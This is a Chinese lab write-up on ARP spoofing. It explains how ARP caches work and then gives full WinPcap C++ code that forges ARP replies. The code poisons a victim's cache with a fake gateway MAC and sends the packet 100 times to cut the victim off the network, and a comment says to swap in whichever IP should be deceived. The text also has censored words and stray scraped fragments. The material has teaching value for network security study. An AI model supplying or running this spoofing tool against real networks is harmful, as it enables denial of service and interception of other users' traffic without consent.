arp欺騙

一.實驗目的:緩存

一、瞭解基本的網絡***原理和***的主要步驟;                                                      
網絡

二、掌握網絡***的通常思路;                                                                     
ide

三、瞭解arp***的主要原理和過程;                                                                
spa

二.實驗原理:                                                                    
3d

 arp***就是經過僞造ip地址和mac地址實現arp欺騙,可以在網絡中產生大量的arp通訊量使網絡阻塞,***者只要持續不斷的發出僞造的arp響應包就能更改目標主機arp緩存中的ip-mac條目,形成網絡中斷或中間人***。arp***主要是存在於局域網網絡中,局域網中如有一臺計算機感染arp***,則感染該arp***的系統將會試圖經過「arp欺騙」手段截獲所在網絡內其它計算機的通訊信息,並所以形成網內其它計算機的通訊故障。某機器a要向主機b發送報文,會查詢本地的arp緩存表,找到b的ip地址對應的mac地址後,就會進行數據傳輸。若是未找到,則a廣播一個arp請求報文(攜帶主機a的ip地址ia——物理地址pa),請求ip地址爲ib的主機b回答物理地址pb。網上全部主機包括b都收到arp請求,但只有主機b識別本身的ip地址,因而向a主機發回一個arp響應報文。其中就包含有b的mac地址,a接收到b的應答後,就會更新本地的arp緩存。接着使用這個mac地址發送數據(由網卡附加mac地址)。所以,本地高速緩存的這個arp表是本地網絡流通的基礎,並且這個緩存是動態的。本實驗的主要目的是在局域網內,實施arp***,使局域網的網關失去做用,致使局域網內部主機沒法與外網通訊。 
orm



// WinpCap Test.cpp : 定義控制檯應用程序的入口點。blog

//ip

#include "stdafx.h"rem

#include <pcap.h>get


int _tmain(int argc, _TCHAR* argv[])

{

    pcap_if_t * allAdapters;//適配器列表

    pcap_if_t * adapter;

    pcap_t    * adapterHandle;//適配器句柄

    u_char      packet[ 1020 ]; //待發送的數據封包

    char errorBuffer[ PCAP_ERRBUF_SIZE ];//錯誤信息緩衝區


    if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )

    {//檢索機器鏈接的全部網絡適配器

        fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );

        return -1;

    }


    if( allAdapters == NULL )

    {//不存在任何適配器

        printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );

        return 0;

    }


    int crtAdapter = 0;


    for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)

    {//遍歷輸入適配器信息(名稱和描述信息)

        printf( "\n%d.%s ", ++crtAdapter, adapter->name ); 

        printf( "-- %s\n", adapter->description );

    }

    printf( "\n" );


    //選擇適配器

    int adapterNumber;

    printf( "Enter the adapter number between 1 and %d:", crtAdapter );

    scanf_s( "%d", &adapterNumber );


    if( adapterNumber < 1 || adapterNumber > crtAdapter )

    {

        printf( "\nAdapter number out of range.\n" );        

        pcap_freealldevs( allAdapters );// 釋放適配器列表

        return -1;

    }


    adapter = allAdapters;

    for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )

adapter = adapter->next;


    // 打開指定適配器

    adapterHandle = pcap_open( adapter->name, // name of the adapter

                               65536,         // portion of the packet to capture

                                              // 65536 guarantees that the whole 

                          // packet will be captured

                               PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode

                               1000,             // read timeout - 1 millisecond

                               NULL,          // authentication on the remote machine

                               errorBuffer    // error buffer

                              );

    if( adapterHandle == NULL )

    {//指定適配器打開失敗

        fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );

        // 釋放適配器列表

        pcap_freealldevs( allAdapters );

        return -1;

    }


    pcap_freealldevs( allAdapters );//釋放適配器列表


    //建立數據封包

    packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x6c;    packet[5] = 0x58;   // 被騙計算機的mac地址

packet[6] = 0xc8;   packet[7]  = 0x9c;   packet[8]  = 0xdc;   packet[9]  = 0x22;   packet[10] = 0x62;   packet[11] = 0x0f;   // 本身的mac地址

packet[12] = 0x08;   packet[13] = 0x06;  // 以太網封裝arp協議(不用動)

packet[14] = 0x00;   packet[15] = 0x01;  // arp第1字段:表明以太網

packet[16] = 0x08;   packet[17] = 0x00;  // arp第2字段:表明IP協議

packet[18] = 0x06;  // arp第3字段:表明第二層地址的長度

packet[19] = 0x04;  // arp第4字段:表明第三層地址的長度

packet[20] = 0x00;   packet[21] = 0x02;   // arp第5字段:這是一個arp應答報文; 下面的是arp的第6,7,8,9字段

packet[22] = 0xc8;   packet[23]  = 0x9c;   packet[24]  = 0xdc;   packet[25]  = 0x22;   packet[26] = 0x62;   packet[27] = 0x06; // 假的網關地址,

packet[28] = 0xac;   packet[29] = 0x1c;packet[30] = 0x0f;   packet[31] = 0xfe;    // 網關的ip,這裏是172.28.15.254(在本實驗室不用改)

packet[32] = 0xc8;   packet[33]  = 0x9c;   packet[34]  = 0xdc;   packet[35]  = 0x22;   packet[36] = 0x6c;   packet[37] = 0x58;  // 被騙計算機的mac地址

packet[38] = 0xac;   packet[39] = 0x1c;packet[40] = 0x0f;   packet[41] = 0x13;   // 被騙計算機的IP地址,這裏是172.28.15.19  (想騙誰,這裏就改爲誰的IP)


   

    //發送數據封包

for(int ssde=0;ssde<100;ssde++)

{

pcap_sendpacket( adapterHandle, packet, 42);

Sleep(1000);

}


    system( "PAUSE" );

    return 0;

}

示範:


wKioL1gsA3qTTQMCAABBoIIM43c590.png-wh_50

相關文章
相關標籤/搜索